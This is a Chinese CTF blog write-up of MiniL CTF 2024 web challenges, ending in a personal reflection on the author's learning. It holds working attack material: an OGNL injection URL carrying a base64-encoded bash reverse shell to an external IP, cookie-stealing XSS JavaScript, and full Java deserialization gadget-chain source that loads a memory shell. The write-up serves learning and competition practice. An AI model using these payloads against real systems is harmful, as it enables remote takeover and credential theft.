MiniLCTF2024

MiniL2024

遗憾没能重现lolita荣光

Snooker King

看到打进球后控制台有打印,跟过去

image-20240430194915528

没思路,跟一步一步走

image-20240430194946559

然后看到跟score有关,进去看看holdManager有啥,结果走运翻出了flag

image-20240430194958080

Jvav Guy (一血)

扫目录,Actuator泄露,下载并分析heapdump

我从后往前读,发现有另一个页面的登录密码,登上去没用,往前看到了shirokey

由于前不久被这个坑了(虽然当时并没做到那一步),所以直接尝试打shiro

image-20240430195541287

于是尝试一把梭哈,由于不知道路径(虽然heapdump中有,但是我看那名称感觉奇奇怪怪的

于是上了个马

image-20240430195518564

HiddenSignin

The First Key is…

65536/////洰驦栶椶昳湥顥氳椸洸汣敥鬹渳止敦騲驤攷騰昷朶杤湤氳阶氱橡止杤湣騷/////65536

base65536解密

image-20240502173607517

拿去挂载,得到keyinside.png

翻通道发现第二个key

image-20240502172617918

继续挂载,得到flag.txt

发现零宽,直接隐写

image-20240502173628244

这里由于之前当我成功得到图片之后不知道咋做,于是看了下磁盘,那个也有recycle.bin

所以看到这里提示时,直接再次磁盘取证,得到flag

image-20240502174547196

image-20240502173053931

SmartPark

扫目录,得到swagger

于是直接新建账户,然后登录,拿到Authorization,就可以请求backup

问题可能在于新建账户有正则匹配,用户名6位以上,密码8位以上

审计代码,思路明确,目标清晰,go的ssti

前不久HGAME以及翻晨曦师傅博客看到过

同时也网上找了几篇文章,刚开始被一篇文章误导了(也不是误导,题目框架不同),就想着直接c.File下载文件

但又看了几篇就排除了这个做法,能调用的东西跟传进去的结构体有关

image-20240503145613328

例如这里teml.Execute(c.Writer,f)传入的是f,也就是FastQuery结构体

所以能调用的函数只有DbCall,可以执行任意pg_sql命令

做到这里时仍是零解,但我问了下出题人flag在不在数据库中,他说不在

由于打数据库做的比较少加上我的理解有误,我就没往DbCall这方面想了

然后经过一天多的折磨(期间陆续有人解出),最后去问了下出题人,思路回到打数据库

最后只能含泪打数据库读取文件

但是普通select查询成功会显示no value

好不容易找到一个能回显的

image-20240502220116487

读取/flag,提示在env中,直接/proc/1/environ(因为/proc/self/environ没有东西)

image-20240502220035011

SmartPark-Revenge (二血)

不知道上题了,手慢了,做法同上

revenge的修补

修的是另一处的pg_sql注入

别人sqlmap一把梭哈了,woc

但他的是登录界面梭哈

我认为这也可以吧

image-20240503150740824

describe没经过检查拼接进了sql语句

当时没思路时也想到过这里,但我就是不想打数据库,所以没打

InjectionS (一血)

spring secruity绕过

mybatis的动态SQL,造成的OGNL注入

http://47.113.202.32:8080/admin/${@java.lang.Runtime@getRuntime().exec(new java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzh4TVRndU9Ea3VOakV1TnpFdk56YzNOeUF3UGlZeH18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9')))}%0D%0A

一把梭,秒了

image-20240504001959147

Laughing-Knife-No-Running

刚开始动太多了,老是cheating,几天后想到那就符合要求来不就行了

每次移动不超过100米

经度100米0.001141°

纬度100米0.000899°

慢慢摁吧

image-20240504183127085

image-20240504183135013

Msgbox (看他人wp)

xss 由于nonce每次都是随机生成

大概思路就是css inject

应该是可以的,但是发现请求不了css文件,不会

出题人说css其实没啥用,题目描述可以不用vps

不会

image-20240509221144627

由于可以加载cdn.jsdelivr.net的文件

我们可以往这上面传文件,然后script的src指定这个文件

这样就不需要nonce

根本就不知道能够上传上去(呜呜

我们可以想办法把自己的 js 传到 cdn.jsdelivr.net 上。

实际上它有一个 Github 资源的镜像,只要在自己 Github 仓库上传这个 js,然后发 release,就可以用下面的链接访问文件:

https://cdn.jsdelivr.net/gh/<username>/<repo name>@<tag>/<resource name>

恶意js代码(写信给注册的用户)

document.addEventListener('DOMContentLoaded', function() { fetch('/send', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'header=Captured+Flag&listener=注册的用户名&content=' + document.cookie }) .then(response => response.text()) .then(data => console.log(data)) .catch(error => console.error('Error:', error)); });

他人结果

image-20240509222036175

ezjaba (赛后)

出网就会 ldapAttribute + ldap高版本绕过

不出网,给了点提示,fastjson1.2.60以及原生反序列化黑名单实现原理有一个trick

这里给一下实现代码,具体trick原理会出个文章讲解一下

第一次打会找不到构造函数,多打几次就行了

import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.*;

public class bad_gadget {
    public static void main(String[] args) throws Exception {
        ArrayList<Object> list1 = new ArrayList<>();
        TemplatesImpl templatesimpl = new TemplatesImpl();

		//内存马文件
        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());


        list1.add(templatesimpl);


        JSONArray jo = new JSONArray();
        jo.add(templatesimpl);


        BadAttributeValueExpException exp = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jo);

        list1.add(exp);

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");

        SignedObject signedObject = new SignedObject(list1,privateKey,signingEngine);


        JSONArray jo1 = new JSONArray();
        jo1.add(signedObject);


        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(jo1);

        setValue(list, "listenerList", new Object[]{InternalError.class, manager});

        System.out.println(serial(list));

    }

    public static String serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeUTF("rO0AAw");
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

image-20240508001209340

回顾与反思

其实这篇我想写的不是wp,而是这个总结

MiniL虽然不是接触CTF的开始,但却是我努力学习CTF的开始

去年虽然成功加入工作室,但因为没有好的学习方法,没有请教的人等原因,导致在去年2,3,4月都十分的摆烂,也不是不学,但也只是一直在看wp,以为这样能接触的快一点,但实际上不刷题,不知道学什么都是让我停滞不前的原因

于是去年的五一我像往常一样打起了师兄发在群里的MiniL,这次不同于以往的比赛,可能是由于时间比较长还是什么原因,我莫名的想要打出一点成绩,但是很快现实就给了我迎头一击

经过两三天的挣扎才勉强做出web的签到题,而且还不是预期的方法,然后便没有后续了

但是与此同时,Lolita大佬在此大杀四方,AK了web题目(几乎都是一二血)

在赛后开始请教Lolita大佬(此前除了一次组队比赛外没有任何联系)

也是在那之后,我遇到一些困难但是不是邪门的问题,我都会去请教Lolita大佬(直到现在),简直就像个百科全书

赛后看到西电的一个师傅的文章中写道很羡慕lolita这么强,他连java还不太会

我当时看到就励志我大二一定不会像他一样(仅仅是java,不是说贬低那位师傅,他也Ak了web,只是想说明给了我挺大的动力)

因此那次MiniL后开始了往返工位与宿舍之间的生活,虽然付出了时间,但是我能清晰地知道我学习的效率并不高,在痛苦之间挣扎着

现在突然发现,我的大二生涯随着成电招新赛、杭电招新赛、西电招新赛的结束,好像马上要落下帷幕

今年的MiniL我斗志满满,看看能否再现lolita的荣光,前几天虽然经过一些挣扎,但还是比较顺利的

直到ezjaba的出现(去年因为某种原因下架的0解题),询问了出题人之后才知道不出网

至此梦碎了

5月5号晚上,看着许久未变的0解题突然变成两解,我心态崩了

一看名字好像都是杭电的,我第一时间想的是他们肯定去问1ue了(出题人跟我说1ue还真跟他讨论了)

但是又怎么样呢,我就是菜

然后看着总榜前三的杭电、成电那些熟悉的年轻的名字

Fanllspd,leukocyte,z221x(做出来ezjaba,我称之为新生代java master),csmantle等

当然像晨曦这样厉害的师傅

到最后web 5/7 的战绩已经是平平无奇的了,有许多高手都做到了6解(尤其是西电23的0xcafebabe都最后一天了连出两个web,真tm牛),最屌的还是杭电,web都AK了

但也不是一无所获,在做ezjaba时,学习了反序列化的具体流程,看了fastjson漏洞的原理

好像只有在做不出题目并且学习原理的过程才是我成长的最快的时候

难道这就是所谓的不求甚解吗

MiniL打完了,对接下来感到特别迷茫,该不该投一些简单的工作像安服仔(但是又怕实力不够),今年hvv快开始了,想投但是啥都不懂也不会,接下来该继续弄CTF还是做一些实战的练习等

当然unknown师傅也叫我不要弄那么多CTF,接下来可以搞点代码审计

剩下最烦的还是接下来一个月学校要接受教育部的师资一些调查,真的服啦,现在考勤贼tm严,辅导员天天来点名,没有书本还要被骂

服了,什么东西要考察一个月,你要住在这里啊

希望不会影响5月的比赛和6月的线下

阿门。。。。。。。

reference

‍‌‬‌‌⁠‍⁠‌‬‌‌‍⁠⁠‬‬‬MiniL CTF 2024 WRITEUPS By TEAM 0x - 飞书云文档 (feishu.cn)

wp-by-printf-m1ni1-qidong-/wp.md at master · Chick868/wp-by-printf-m1ni1-qidong- (github.com)


MiniLCTF2024
https://zer0peach.github.io/2024/05/01/MiniLCTF2024/
作者
Zer0peach
发布于
2024年5月1日
许可协议